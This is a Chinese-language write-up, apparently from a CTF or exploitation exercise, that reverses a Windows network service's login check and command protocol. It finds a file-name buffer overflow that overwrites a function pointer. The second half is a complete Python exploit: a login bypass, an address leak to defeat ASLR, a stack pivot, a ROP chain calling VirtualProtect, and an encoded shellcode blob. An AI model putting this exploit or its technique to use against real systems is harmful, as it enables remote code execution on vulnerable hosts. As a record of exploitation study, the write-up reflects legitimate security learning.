要去看埃菲尔铁塔的顶
欢迎关注本人微博:t.cn/RGSLVUk
通信协议分析:
登录:
第一次发送 要求字符串长度12,即 3 个字节
dword[0]: 0x10
dword[1]: 整数X
dword[2]: 整数Y
第二次发送 字符串
dword[0]: 0x11
dword[X+4]: ':'
IDA反编译后 F5 查看
校验过程:
if ( str1 && str0 && a3 >= 4 && a4 > 0 )
{
v4 = 0;
if ( a3 > 0 )
{
v5 = str1 - str0; // a5 = 长度
v6 = str0;
v10 = v5;
while ( v4 < a4 ) // 调试时 该循环为假循环
{
v7 = *(_BYTE *)(v5 + v6); // str1
if ( (v7 < 'A' || v7 > 'Z') && (v7 < 'a' || v7 > 'z') && (unsigned __int8)(v7 - '0') > 9u )
return 0;
v8 = *(_BYTE *)v6; // str0
if ( (*(_BYTE *)v6 < 'A' || v8 > 'Z') && (v8 < 'a' || v8 > 'z') && (unsigned __int8)(v8 - '0') > 9u )
return 0;
if ( v8 != byte_40A9E4[((unsigned __int8)v7 + ((unsigned int)(unsigned __int8)v7 >> 2)) % 0x3F] )
return 0;
++v4;
++v6;
if ( v4 >= a3 ) // 只能靠这个出去
break;
v5 = v10;
}
}
result = 1;
}
else
{
result = 0;
}
若设X = 4 ,Y = 4 简单分析发送字符串为
\x11\x00\x00\x00 str1 ':' str0
校验过程 str1 与 str0 必须是 字母数字
且 n in str1 m in str0
满足 byte_40A9E4[ (n + n / 4) % 0x3F] == m
byte_40A9E4 =
'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789'
那么登录过程str1 str0 则可以
#include <stdio.h>
int main(int argc, char* argv[])
{
char ukey[] = \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789";
for(unsigned char i=0 ; i< 128;i++) {
if(( i - '0' <=9 )||( i>='a' && i<='z') || ( i>='A' && i<='Z') )
{
char xx = ukey[ (i+ (i/4) ) % 0x3f ];
printf(" %x %x %c \n", (int)i ,(int)xx,xx);
}
}
return 0;
}
那么从得到结果随便找4个
也就是 str1 = \x77\x78\x79\x7a str0 = \x57\x59\x5a\x61
最后发送
\x11\x00\x00\x00 \x77\x78\x79\x7a ':' \x57\x59\x5a\x61 OK!
功能分析 ( sub_401150 )
登录进去
发现有0x10 0x11 一样
0x20 设置文件名称
0x21 获取 *(40DA40) 字符串
0x30 读取文件内容 (其中会将 VirtualProtect 地址写入dword_40DA3C变量 )
0x31 写入 接收到的数据到 文件 (调用 sub_401050 )
经过调试 发现
在设置文件名称时,长度为0x10c 时, 会覆盖掉这里的一个函数指针,而这个函数是可以通过
0x31进行调用的, 覆盖之前可以去读取这个地址,那么就可以获得程序基址,这样可以过ASRL,另外需要获取VirtualProtect地址, 那么需要调用 0x30功能,在调用之前,需要设定文件名称调用0x20 ,
即
登录
调用 0x20 写入一个名称
调用 0x31 发送数据,并写入到文件
调用 0x30 读取文件内容,获取到API地址
调用 0x20 写入 0x108个数据
调用 0x21 读取0x10c个数据,即 获取到 函数指针的值
调用 0x20 写入 0x10c个数据 覆盖函数指针
调用 0x31 触发
其中 调试时可以发现 在调用 0x20时, 文件名称字符串 地址在 ebx 中,那么
可以用 xchg esp , ebx 指令 将 esp 调整到可控区域。
最终 EXP:
from socket import *
import struct
import time
HOST='127.0.0.1'
PORT=4999
BUFSIZ=1024
ADDR=(HOST,PORT)
sock = socket(AF_INET,SOCK_STREAM)
sock.connect(ADDR)
buf = '\x10\x00\x00\x00'+'\x04\x00\x00\x00'+'\x04\x00\x00\x00'
sock.sendall(buf)
time.sleep(2)
# login
buff = '\x11\x00\x00\x00'+'\x77\x78\x79\x7a'+':'+'\x57\x59\x5a\x61'
sock.sendall(buff)
print sock.recv(1024)
#set file length
filelength = '\x20\x00\x00\x00' #set filename length
filelength += '\x10\x00\x00\x00' # length
filelength += 'A'*0x10 #name
sock.sendall(filelength + '\n')
time.sleep(0.1)
writeFile = '\x31\x00\x00\x00' #write file get api
writeFile += '\x20\x00\x00\x00'
writeFile += 'B'*20 #data
sock.sendall(writeFile)
time.sleep(0.1)
readFile = '\x30\x00\x00\x00' #read file
readFile += '\x20\x00\x00\x00' #length
sock.sendall(readFile)
print sock.recv(1024), '\n'
time.sleep(0.1)
filelength = '\x20\x00\x00\x00' #
filelength += '\x08\x01\x00\x00' # length
filelength += 'T'*0x108 #name
sock.sendall(filelength + '\n')
time.sleep(0.1)
leakaddr = '\x21\x00\x00\x00' #get val
leakaddr += '\x0c\x01\x00\x00' # length
sock.sendall(leakaddr + '\n')
s = sock.recv(1024)
rindex = s.rfind("T")
addrMsg = s[(rindex+1):len(s)]
leakAddr = struct.unpack("I",addrMsg)[0]
print 'leak addr:',hex(leakAddr)
BaseAddr = leakAddr & 0xFFFF0000
print 'base addr:' ,hex(BaseAddr)
# RVA 0xDA3C VirtualProtect
# ebx pointer to input buffer
# make (esp) = ebx
Shellcode="\x81\xec\x00\x20\x00\x00\xb8\xf7\x20\xdd\x4a\xdb\xcf\xd9\x74\x24\xf4\x5d\x31\xc9\xb1\x33\x83\xc5\x04\x31\x45\x0e\x03\xb2\x2e\x3f\xbf\xc0\xc7\x36\x40\x38\x18\x29\xc8\xdd\x29\x7b\xae\x96\x18\x4b\xa4\xfa\x90\x20\xe8\xee\x23\x44\x25\x01\x83\xe3\x13\x2c\x14\xc2\x9b\xe2\xd6\x44\x60\xf8\x0a\xa7\x59\x33\x5f\xa6\x9e\x29\x90\xfa\x77\x26\x03\xeb\xfc\x7a\x98\x0a\xd3\xf1\xa0\x74\x56\xc5\x55\xcf\x59\x15\xc5\x44\x11\x8d\x6d\x02\x82\xac\xa2\x50\xfe\xe7\xcf\xa3\x74\xf6\x19\xfa\x75\xc9\x65\x51\x48\xe6\x6b\xab\x8c\xc0\x93\xde\xe6\x33\x29\xd9\x3c\x4e\xf5\x6c\xa1\xe8\x7e\xd6\x01\x09\x52\x81\xc2\x05\x1f\xc5\x8d\x09\x9e\x0a\xa6\x35\x2b\xad\x69\xbc\x6f\x8a\xad\xe5\x34\xb3\xf4\x43\x9a\xcc\xe7\x2b\x43\x69\x63\xd9\x90\x0b\x2e\xb7\x67\x99\x54\xfe\x68\xa1\x56\x50\x01\x90\xdd\x3f\x56\x2d\x34\x04\xa8\x67\x15\x2c\x21\x2e\xcf\x6d\x2c\xd1\x25\xb1\x49\x52\xcc\x49\xae\x4a\xa5\x4c\xea\xcc\x55\x3c\x63\xb9\x59\x93\x84\xe8\x39\x72\x17\x70\x90\x11\x9f\x13\xec"
rop = struct.pack("L",BaseAddr + 0x1018) # pop eax # ret
rop += struct.pack("L",BaseAddr + 0xda3c) # point to VirtualProtect
rop += struct.pack("L",BaseAddr + 0x1024) # mov eax,[eax] # ret
rop += struct.pack("L",BaseAddr + 0x102f) # xchg eax,esi # ret esi = VirtualProtect
rop += struct.pack("L",BaseAddr + 0x1022) # pop ebp # ret
rop += struct.pack("L",BaseAddr + 0x103a)
# pointer to (push esp ;ret || jmp esp) -> start shellcode
rop += struct.pack("L",BaseAddr + 0x101a) # pop ebx # ret
rop += struct.pack("L",0x00400)
rop += struct.pack("L",BaseAddr + 0x101c) # pop ecx # ret
rop += struct.pack("L",BaseAddr + 0xDA48) # writable address
rop += struct.pack("L",BaseAddr + 0x1020) # pop edi # ret
rop += struct.pack("L",BaseAddr + 0x1021) # retn
rop += struct.pack("L",BaseAddr + 0x101e) # pop edx # ret
rop += struct.pack("L",0x0040) # newProtect
rop += struct.pack("L",BaseAddr + 0x1018) # pop eax # ret
rop += struct.pack("I",0x90909090)
rop += struct.pack("L",BaseAddr + 0x103e) # pushad # ret
#
# op : pushad retn
#
#
# edi = retn nop --- |
# esi -> vp <---|
# ebp = push esp retn ( ret addr )
# esp = param1
# ebx = param2
# edx = param3
# ecx = param4
#
# eax = 90909090
RopChain = rop + Shellcode
chunk = '\x20\x00\x00\x00' # set file name
chunk += '\x0c\x01\x00\x00' # length
chunk += 'T'*0x108 #name
chunk += struct.pack("I",BaseAddr + 0x102c) # xchg esp , ebx set esp poiter to buff
sock.sendall(chunk + '\n')
time.sleep(0.1)
writeFile = '\x31\x00\x00\x00' #write file get api
writeFile += '\x01\x00\x00\x00'
writeFile += RopChain
writeFile += 'B'*1 # any data
sock.sendall(writeFile)
其中 利用 pushad retn 来构造 参数栈 很有意思